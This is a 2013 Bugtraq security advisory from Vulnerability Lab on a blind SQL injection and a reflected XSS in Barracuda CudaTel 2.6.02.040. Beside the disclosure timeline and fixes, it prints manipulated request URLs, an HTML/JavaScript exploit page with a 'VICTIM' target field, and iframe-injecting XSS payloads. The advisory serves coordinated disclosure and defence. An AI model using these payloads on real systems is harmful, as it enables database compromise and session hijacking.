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Barracuda CudaTel 2.6.02.040 - Remote SQL Injection Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Barracuda CudaTel 2.6.02.040 - Remote SQL Injection Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Sat, 20 Jul 2013 11:48:41 +0100
Title:
======
Barracuda CudaTel 2.6.02.040 - Remote SQL Injection Vulnerability
Date:
=====
2013-07-20
References:
===========
http://vulnerability-lab.com/get_content.php?id=775
BARRACUDA NETWORK SECURITY ID: BNSEC-723
VL-ID:
=====
775
Common Vulnerability Scoring System:
====================================
8.6
Introduction:
=============
Designed to enable seamless voice and video communication, the CudaTel
Communication Server is an easy-to-use,
affordable, next-generation phone system for businesses. CudaTel Communication
Server s enterprise-class
feature set includes Voice over IP (VoIP) PBX services, conferencing,
follow-me, automated attendant services,
and more, controlled by an easy-to-use Web interface. CudaTel Communication
Server is compatible with any SIP
device and provider, and can be pre-configured for use with both analog and
digital telephone networks. Powerful,
Complete Solution With an expansive feature set and and no per user or phone
licensing fees, the CudaTel
Communication Server is equipped and priced for organizations of any size.
Native High Definition audio support
and integrated phone line (TDM) hardware produces an unparalleled audio
experience. VOIP encryption protects calls
from hackers and digital eavesdroppers.
(Copy of the Vendor Homepage: http://www.barracudanetworks.ca/cudatel.aspx )
Abstract:
=========
1.1
The Vulnerability Laboratory Research Team discovered a sql injection
vulnerability in Barracuda Networks CudaTel v2.6.002.040 appliance application.
1.2
The Vulnerability Laboratory Research Team discovered a client side
vulnerability in Barracuda Networks CudaTel v2.6.002.040 appliance application.
Report-Timeline:
================
2012-11-26: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2012-11-27: Vendor Notification (Barracuda Networks Security Team - Bug
Bounty Program)
2012-12-01: Vendor Response/Feedback (Barracuda Networks Security Team -
Bug Bounty Program)
2013-03-01: Vendor Fix/Patch (Barracuda Networks Developer Team) [Manager:
Dave Farrow]
2013-07-20: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Barracuda Networks
Product: CudaTel - Communication Server 2.6.002.040
Exploitation-Technique:
=======================
Remote
Severity:
=========
Critical
Details:
========
1.1
A SQL Injection vulnerability is detected in the Barracuda Networks CudaTel
v2.6.002.040 appliance web application.
The vulnerability allows remote attackers or local low privilege application
user accounts to inject (execute)
own SQL commands to the affected application dbms.
The blind sql injection vulnerability is located in the cdr module when
processing to request manipulated row & page
parameters as searchstring. A remote attacker can for example delete the
standard value context of the module request
to inject (execute) own sql commands.
Eploitation of the vulnerability requires a low privilege web application user
account and no user interaction.
Successful exploitation of the vulnerability results in datbase management
system and web application compromise.
Vulnerable Section(s)
[+] search - listing
Vulnerable Module(s)
[+] cdr - seachstring listing
Vulnerable Parameter(s)
[+] &row
[+] &page
1.2
A client side input validation vulnerability is detected in the Barracuda
Networks CudaTel v2.6.002.040 appliance web application.
The non-persistent vulnerability allows remote attackers to manipulate client
side application requests to browser.
The secound vulnerability (client side) is located in the invalid value
exception handling. Remote attackers can provoke the
exception-handling by including invalid script code inputs to redisplay the
malicious context when processing to load the output.
To provoke the exception-handling the remote attacker can use the vulnerable
row parameter of the cdr searchstring listing to
execute own malicious (client-side) script code.
Exploitation of the vulnerability requires a no web application user account
but medium or high user interaction.
Successful exploitation of the vulnerability results in client side phishing,
client side session hijacking and client side
external redirects to malware or malicious websites. Exploitation requires
medium user interaction.
Vulnerable Section(s):
[+] search - listing
Vulnerable Module(s):
[+] cdr - seachstring listing
Vulnerable Parameter(s):
[+] &row
Affected Module(s):
[+] Exception-Handling (invalid value)
Proof of Concept:
=================
1.1
The sql injection vulnerability can be exploited by remote attackers with low
privilege web application user account and without user interaction.
For demonstration or reproduce ...
Standard Request: Row 100
http://cudatel.127.0.0.1:1336/gui/cdr/cdr?_=1353973149509&since=1+day&search_string=&rows=100&page=1&sortby=end_timestamp&sortorder=desc
Standard Request: Output
--- 1.
{"count":0,"page":"1","cdr":[],"rows":"100"}
Manipulated Request:
http://cudatel.127.0.0.1:1337/gui/cdr/cdr?
_=1353973149509&since=1+day&search_string=&rows=100&page='1+1%27[SQL-Injection!]%27--&sortby=end_timestamp&sortorder=desc
... or
http://cudatel.127.0.0.1:1337/gui/cdr/cdr?
%20%20_=1353973149509&since=1+day&search_string=&page='1335&page='1336&page='1337&rows='1+1%27[SQL-Injection!]%27--&page=1&sortby=end_timestamp&sortorder=desc
Manipulated Output:
--- 1.
cdr: []
count: 0
page: 1
rows: 1+2
--- 1.
cdr: []
count: 1+2'
page:
- '1335
- '1336
- '1337
- '1
rows: -1+1'[SQL-Injection!]'--
Exploit (PoC):
<html><head><body><meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-9">
<title>Barracuda Networks CudaTel [CDR] (ROW&PAGE) - Remote SQL-Injection
[PROOF OF CONCEPT]</title>
<script language="JavaScript">
var path="/gui/cdr/cdr"
var
adres="?%20%20_=1353973149509&since=1+day&search_string=&page='1335&page='1336&page='1337&rows="
var domain ="http://cudatel.127.0.0.1:1337";
var sql = "'1+1%27[SQL-Injection!]%27--"
function command(){
if (document.rfi.target1.value==""){
alert("NOPE!");
return false;
}
rfi.action= document.rfi.target1.value+path+adres+domain+sql;
rfi.submit();
}
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// Barracuda Networks CudaTel [CDR] (ROW&PAGE) - Remote SQL-Injection Exploit
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// Vulnerability Research Laboratory (www.vulnerability-lab.com)
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// Greets: Ibrahim EL-Sayed, Chokri Ben Achour, Mohammed ABKD. & Stealthwalker
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
</script></head><body bgcolor="#000000" link="#990000">
<center><p align="center"><b><font face="Verdana" size="2"
color="#006633">Barracuda Networks CudaTel [CDR] (ROW&PAGE)
- Remote SQL-Injection Exploit</font>
</b></p><form method="post" target="getting" name="rfi"
onSubmit="command();"><div align="left">
<p><b><font face="Arial" size="2" color="#006633">VICTIM:</font></b>
<input type="text" name="target1" size="53" style="background-color: #006633"
onMouseOver="javascript:this.style.background='#808080';"
onMouseOut="javascript:this.style.background='#808000';"></p>
<p><b><font face="Arial" size="2" color="#006633">EXAMPLE:</font><font
face="Arial" size="2" color="#808080">
HTTP://VULNERABILITY-LAB.COM/[SCRIPT-PATH]/</font></b></p></div>
<p align="left"><input type="submit" value="Execute INPUT" name="B1">
</p><p align="left"><input type="reset" value="Clear ALL"
name="B2"></p></form><p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe></p><div align="left">
<p align="center"><b><font face="Verdana" size="2"
color="#008000">VULNERABILITY-LAB <a
href="mailto:research@xxxxxxxxxxxxxxxxxxxxx";>
BKM</a></font></b></p></div></center></body></html>
1.2
The client side input validation vulnerability can be exploited by remote
attackers without application user account and with medium required user
interaction.
For demonstration or reproduce ...
PoC:
http://cudatel.127.0.0.1:1336/gui/cdr/cdr?
_=1353973149509&since=1+day&search_string=&rows=1%27[%3Ciframe%20src=http://www.vulnerability-lab.com%3E]&page=1&sortby=end_timestamp&sortorder=desc
http://cudatel.127.0.0.1:1336/gui/cdr/cdr?
_=1353973149509&since=1+day&search_string=&rows=100&page=1%27[%3Ciframe%20src=http://www.vulnerability-lab.com%3E]&sortby=end_timestamp&sortorder=desc
Note: We only verified the bug with the same exception in a not parsed
parameter but the bug itself is located in all areas of the invalid exception.
Solution:
=========
1.1
To patch the sql injection it is required to parse the row and page parameters
in the cdr module.
1.2
To fix the client side xss vulnerability parse by encoding the row parameter
and restrict the input.
Encode the affected exception-handling output listing when processing to
display invalid input values.
Note: Barracuda Networks provided an update of version 2.6.002.040 to
v2.6.003.x to all clients and customers in the bn customer area.
Risk:
=====
1.1
The security risk of the remote sql injection web vulnerability is estimated
critical.
1.2
The security risk of the client side input validation web vulnerability is
estimated as medium(-).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx)
Disclaimer:
===========
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